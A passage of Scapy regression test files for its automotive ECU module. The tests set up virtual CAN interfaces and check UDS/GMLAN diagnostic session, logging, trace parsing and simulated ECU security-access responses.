assert dto.return_code == 1 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 0xff assert dto.MTA0_address == 0xffffffff + Cleanup = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) scapy-2.4.4/test/contrib/automotive/ecu.uts000066400000000000000000000230171372370053500207740ustar00rootroot00000000000000% Regression tests for the ECU utility # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Setup ~ conf command = Load modules load_contrib("isotp", globals_dict=globals()) load_contrib("automotive.uds", globals_dict=globals()) load_contrib("automotive.gm.gmlan", globals_dict=globals()) load_layer("can", globals_dict=globals()) conf.contribs["CAN"]["swap-bytes"] = True = Load ECU module load_contrib("automotive.ecu", globals_dict=globals()) + Basic checks = Check default init parameters ecu = ECU() assert ecu.current_session == 1 assert ecu.current_security_level == 0 assert ecu.communication_control == 0 = Check init parameters ecu = ECU(init_session=5, init_security_level=4, init_communication_control=2) assert ecu.current_session == 5 assert ecu.current_security_level == 4 assert ecu.communication_control == 2 = Check reset ecu = ECU(init_session=5, init_security_level=4, init_communication_control=2) ecu.reset() assert ecu.current_session == 1 assert ecu.current_security_level == 0 assert ecu.communication_control == 0 + Simple operations = Log all commands applied to an ECU ~ docs * This example shows the logging mechanism of an ECU object. * The log of an ECU is a dictionary of applied UDS commands. * The key for this dictionary the UDS service name. The value consists of a list * of tuples, containing a timestamp and a log value msgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3), # no_docs UDS(service=16) / UDS_DSC(diagnosticSessionType=4), # no_docs UDS(service=16) / UDS_DSC(diagnosticSessionType=5), # no_docs UDS(service=16) / UDS_DSC(diagnosticSessionType=6), # no_docs UDS(service=16) / UDS_DSC(diagnosticSessionType=2)] # no_docs ecu = ECU(verbose=False, store_supported_responses=False) ecu.update(PacketList(msgs)) print(ecu.log) assert len(ecu.log["DiagnosticSessionControl"]) == 5 # no_docs timestamp, value = ecu.log["DiagnosticSessionControl"][0] assert timestamp > 0 # no_docs assert value == "extendedDiagnosticSession" # no_docs assert ecu.log["DiagnosticSessionControl"][-1][1] == "programmingSession" # no_docs = Trace all commands applied to an ECU ~ docs * This example shows the trace mechanism of an ECU object. * Traces of the current state of the ECU object and the received message are * print on stdout. Some messages, depending on the protocol, will change the * internal state of the ECU. msgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3), # no_docs UDS(service=80) / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b'\\x002\\x01\\xf4')] # no_docs ecu = ECU(verbose=True, logging=False, store_supported_responses=False) ecu.update(PacketList(msgs)) print(ecu.current_session) assert ecu.current_session == 3 # no_docs assert ecu.current_security_level == 0 # no_docs assert ecu.communication_control == 0 # no_docs = Generate supported responses of an ECU ~ docs * This example shows a mechanism to clone a real world ECU by analyzing a list of Packets. msgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3), # no_docs UDS(service=80) / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b'\\x002\\x01\\xf4'), # no_docs UDS(service=16) / UDS_DSC(diagnosticSessionType=4)] # no_docs ecu = ECU(verbose=False, logging=False, store_supported_responses=True) ecu.update(PacketList(msgs)) supported_responses = ecu.supported_responses unanswered_packets = ecu.unanswered_packets print(supported_responses) print(unanswered_packets) assert ecu.current_session == 3 # no_docs assert ecu.current_security_level == 0 # no_docs assert ecu.communication_control == 0 # no_docs assert len(supported_responses) == 1 # no_docs assert len(unanswered_packets) == 1 # no_docs response = supported_responses[0] # no_docs assert response.in_correct_session(1) # no_docs assert response.has_security_access(0) # no_docs assert response.responses[-1].service == 80 # no_docs assert unanswered_packets[0].diagnosticSessionType == 4 # no_docs + Advanced checks = Analyze multiple UDS messages ~ docs * This example shows how to load ``UDS`` messages from a ``.pcap`` file containing ``CAN`` messages * A ``PcapReader`` object is used as socket and an ``ISOTPSession`` parses ``CAN`` frames to ``ISOTP`` frames * which are then casted to ``UDS`` objects through the ``basecls`` parameter with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock: udsmsgs = sniff(session=ISOTPSession, session_kwargs={"use_ext_addr":False, "basecls":UDS}, count=50, opened_socket=sock) assert len(udsmsgs) == 50 # no_docs ecu = ECU() ecu.update(udsmsgs) print(ecu.log) print(ecu.supported_responses) response = ecu.supported_responses[0] # no_docs assert response.in_correct_session(1) # no_docs assert response.has_security_access(0) # no_docs assert response.responses[0].service == 80 # no_docs assert response.responses[0].diagnosticSessionType == 3 # no_docs response = ecu.supported_responses[1] # no_docs assert response.in_correct_session(3) # no_docs assert response.has_security_access(0) # no_docs assert response.responses[0].service == 80 # no_docs assert response.responses[0].diagnosticSessionType == 2 # no_docs response = ecu.supported_responses[4] # no_docs assert response.in_correct_session(2) # no_docs assert response.has_security_access(18) # no_docs assert response.responses[0].service == 110 # no_docs assert response.responses[0].dataIdentifier == 61786 # no_docs assert len(ecu.log["TransferData"]) == 2 = Analyze on the fly with ECUSession ~ docs * This example shows the usage of a ECUSession in sniff. An ISOTPSocket or any * socket like object which returns entire messages of the right protocol can be used. * A ``ECUSession`` is used as supersession in an ``ISOTPSession``. To obtain the ``ECU`` object from a ``ECUSession``, * the ``ECUSession`` has to be created outside of sniff. session = ECUSession() with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock: udsmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "use_ext_addr":False, "basecls":UDS}, count=50, opened_socket=sock) assert len(udsmsgs) == 50 # no_docs ecu = session.ecu print(ecu.log) print(ecu.supported_responses) response = ecu.supported_responses[0] # no_docs assert response.in_correct_session(1) # no_docs assert response.has_security_access(0) # no_docs assert response.responses[0].service == 80 # no_docs assert response.responses[0].diagnosticSessionType == 3 # no_docs response = ecu.supported_responses[1] # no_docs assert response.in_correct_session(3) # no_docs assert response.has_security_access(0) # no_docs assert response.responses[0].service == 80 # no_docs assert response.responses[0].diagnosticSessionType == 2 # no_docs response = ecu.supported_responses[4] # no_docs assert response.in_correct_session(2) # no_docs assert response.has_security_access(18) # no_docs assert response.responses[0].service == 110 # no_docs assert response.responses[0].dataIdentifier == 61786 # no_docs assert len(ecu.log["TransferData"]) == 2 # no_docs = Analyze on the fly with ECUSession GMLAN1 session = ECUSession() with CandumpReader("test/contrib/automotive/gmlan_trace.candump") as sock: gmlanmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "did":[0x241, 0x641, 0x101], "basecls":GMLAN}, count=2, opened_socket=sock) ecu = session.ecu print("Check 1 after change to diagnostic mode") assert len(ecu.supported_responses) == 1 assert ecu.current_session == 3 assert ecu.current_security_level == 0 gmlanmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "did":[0x241, 0x641, 0x101], "basecls":GMLAN}, count=8, opened_socket=sock) ecu = session.ecu print("Check 2 after some more messages were read") assert len(ecu.supported_responses) == 4 assert ecu.current_session == 3 assert ecu.current_security_level == 0 gmlanmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "did":[0x241, 0x641, 0x101], "basecls":GMLAN}, count=10, opened_socket=sock) ecu = session.ecu print("Check 3 after change to programming mode (bootloader)") assert len(ecu.supported_responses) == 5 assert ecu.current_session == 2 assert ecu.current_security_level == 0 gmlanmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "did":[0x241, 0x641, 0x101], "basecls":GMLAN}, count=16, opened_socket=sock) ecu = session.ecu print("Check 4 after gaining security access") assert len(ecu.supported_responses) == 7 assert ecu.current_session == 2 assert ecu.current_security_level == 2 = Analyze on the fly with ECUSession GMLAN logging test session = ECUSession(verbose=False, store_supported_responses=False) with CandumpReader("test/contrib/automotive/gmlan_trace.candump") as sock: gmlanmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "did":[0x241, 0x641, 0x101], "basecls":GMLAN}, count=200, opened_socket=sock) ecu = session.ecu assert len(ecu.supported_responses) == 0 assert len([m for m in gmlanmsgs if m.sprintf("%GMLAN.service%") == "TransferData"]) == len(ecu.log["TransferData"]) assert len([m for m in gmlanmsgs if m.sprintf("%GMLAN.service%") == "RequestDownload"]) == len(ecu.log["RequestDownload"]) assert len([m for m in gmlanmsgs if m.sprintf("%GMLAN.service%") == "ReadDataByIdentifier"]) == len(ecu.log["ReadDataByIdentifier"]) assert len(ecu.log["SecurityAccess"]) == 2 assert len(ecu.log["SecurityAccessPositiveResponse"]) == 2 assert ecu.log["TransferData"][-1][1][0] == "downloadAndExecuteOrExecute" scapy-2.4.4/test/contrib/automotive/ecu_am.uts000066400000000000000000000634541372370053500214620ustar00rootroot00000000000000% Regression tests for ECU_am + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import subprocess, sys import scapy.modules.six as six from subprocess import call from scapy.consts import LINUX = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") = Overwrite definition for vcan_socket systems native sockets ~ vcan_socket not_pypy needs_root linux if six.PY3 and LINUX: from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Overwrite definition for vcan_socket systems python-can sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, bitrate=250000, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, bitrate=250000, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, bitrate=250000, timeout=0.01) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system ~ linux p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} if six.PY3: import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) load_contrib("isotp", globals_dict=globals()) if six.PY3 and ISOTP_KERNEL_MODULE_AVAILABLE: assert ISOTPSocket == ISOTPNativeSocket else: assert ISOTPSocket == ISOTPSoftSocket ############ ############ + Load general modules = Load contribution layer load_contrib("automotive.uds", globals_dict=globals()) load_contrib("automotive.ecu", globals_dict=globals()) print("Set delay to lower utilization") conf.contribs['ECU_am']['send_delay'] = 0.004 + Simulator tests = Simple check with RDBI and Negative Response drain_bus(iface0) example_responses = \ [ECUResponse(session=1, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=0x1234) / Raw(b"deadbeef"))] success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=UDS, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[0x123]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS(service=0x22), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[0x1234]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 0x1234 assert resp.load == b"deadbeef" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with different Sessions drain_bus(iface0) example_responses = \ [ECUResponse(session=2, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"deadbeef1")), ECUResponse(session=range(3,5), security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"deadbeef2")), ECUResponse(session=[5,6,7], security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef3")), ECUResponse(session=lambda x: 8 < x <= 10, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b"deadbeef4"))] success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 answering_machine.ecu_state.current_session = 2 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 2 assert resp.load == b"deadbeef1" answering_machine.ecu_state.current_session = 4 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 3 assert resp.load == b"deadbeef2" answering_machine.ecu_state.current_session = 6 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 5 assert resp.load == b"deadbeef3" answering_machine.ecu_state.current_session = 9 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 9 assert resp.load == b"deadbeef4" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with different Sessions and diagnosticSessionControl drain_bus(iface0) example_responses = \ [ECUResponse(session=2, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"deadbeef1")), ECUResponse(session=range(3,5), security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"deadbeef2")), ECUResponse(session=[5,6,7], security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef3")), ECUResponse(session=lambda x: 8 < x <= 10, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b"deadbeef4")), ECUResponse(session=range(0,8), security_level=lambda x: x==0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=1, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=2, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=4, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=5, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=6, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=7, sessionParameterRecord=b"dead")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=8, sessionParameterRecord=b"dead")), ECUResponse(session=range(8,10), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead1")), ECUResponse(session=range(8,10), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead2")), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=2), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 2 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 2 assert resp.load == b"deadbeef1" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=4), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 4 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 3 assert resp.load == b"deadbeef2" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=6), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 6 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 5 assert resp.load == b"deadbeef3" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=8), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 8 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_DSC(diagnosticSessionType=9), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 9 assert resp.sessionParameterRecord == b"dead1" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 9 assert resp.load == b"deadbeef4" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with different Sessions and diagnosticSessionControl and answers hook drain_bus(iface0) def custom_answers(resp, req): if req.service + 0x40 != resp.service: return False if hasattr(req, "diagnosticSessionType"): if 0 < req.diagnosticSessionType <= 8: resp.diagnosticSessionType = req.diagnosticSessionType return resp.answers(req) return False example_responses = \ [ECUResponse(session=2, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"deadbeef1")), ECUResponse(session=range(3,5), security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"deadbeef2")), ECUResponse(session=[5,6,7], security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef3")), ECUResponse(session=lambda x: 8 < x <= 10, security_level=0, responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b"deadbeef4")), ECUResponse(session=range(0,8), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=1, sessionParameterRecord=b"dead"), answers=custom_answers), ECUResponse(session=range(8,10), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead1")), ECUResponse(session=range(8,10), security_level=0, responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead2")), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=2), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 2 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 2 assert resp.load == b"deadbeef1" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=4), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 4 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 3 assert resp.load == b"deadbeef2" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=6), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 6 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 5 assert resp.load == b"deadbeef3" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=8), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 8 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_DSC(diagnosticSessionType=9), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 9 assert resp.sessionParameterRecord == b"dead1" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 9 assert resp.load == b"deadbeef4" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with security access and answers hook drain_bus(iface0) security_seed = b"abcd" def custom_answers(resp, req): global security_seed if req.service + 0x40 != resp.service or req.service != 0x27: return False if req.securityAccessType == 1: resp.securitySeed = security_seed return resp.answers(req) elif req.securityAccessType == 2: return resp.answers(req) and req.securityKey == security_seed + security_seed return False example_responses = \ [ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b"1234"), answers=custom_answers), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 10, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=1, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x35 resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=1, verbose=False) assert resp.service == 0x67 success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with security access and answers hook and request-correctly-received message drain_bus(iface0) security_seed = b"abcd" def custom_answers(resp, req): global security_seed if req.service + 0x40 != resp.service or req.service != 0x27: return False if req.securityAccessType == 1: resp.securitySeed = security_seed return resp.answers(req) elif req.securityAccessType == 2: return resp.answers(req) and req.securityKey == security_seed + security_seed return False example_responses = \ [ECUResponse(session=range(0,255), security_level=0, responses=[UDS()/UDS_NR(negativeResponseCode=0x78, requestServiceId=0x27), UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b"1234")], answers=custom_answers), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 10, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=2, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=2, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x35 resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=2, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=2, verbose=False) assert resp.service == 0x67 success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with security access and answers hook and request-correctly-received message 2 drain_bus(iface0) security_seed = b"abcd" def custom_answers(resp, req): global security_seed if req.service + 0x40 != resp.service or req.service != 0x27: return False if req.securityAccessType == 1: resp.securitySeed = security_seed return resp.answers(req) elif req.securityAccessType == 2: return resp.answers(req) and req.securityKey == security_seed + security_seed return False example_responses = \ [ECUResponse(session=range(0,255), security_level=0, responses=[UDS()/UDS_NR(negativeResponseCode=0x78, requestServiceId=0x27), UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b"1234")], answers=custom_answers), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)), ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] conf.contribs['UDS']['treat-response-pending-as-answer'] = True success = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x700, did=0x600, basecls=UDS) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x600, did=0x700, basecls=UDS) as tester: answering_machine = ECU_am(supported_responses=example_responses, 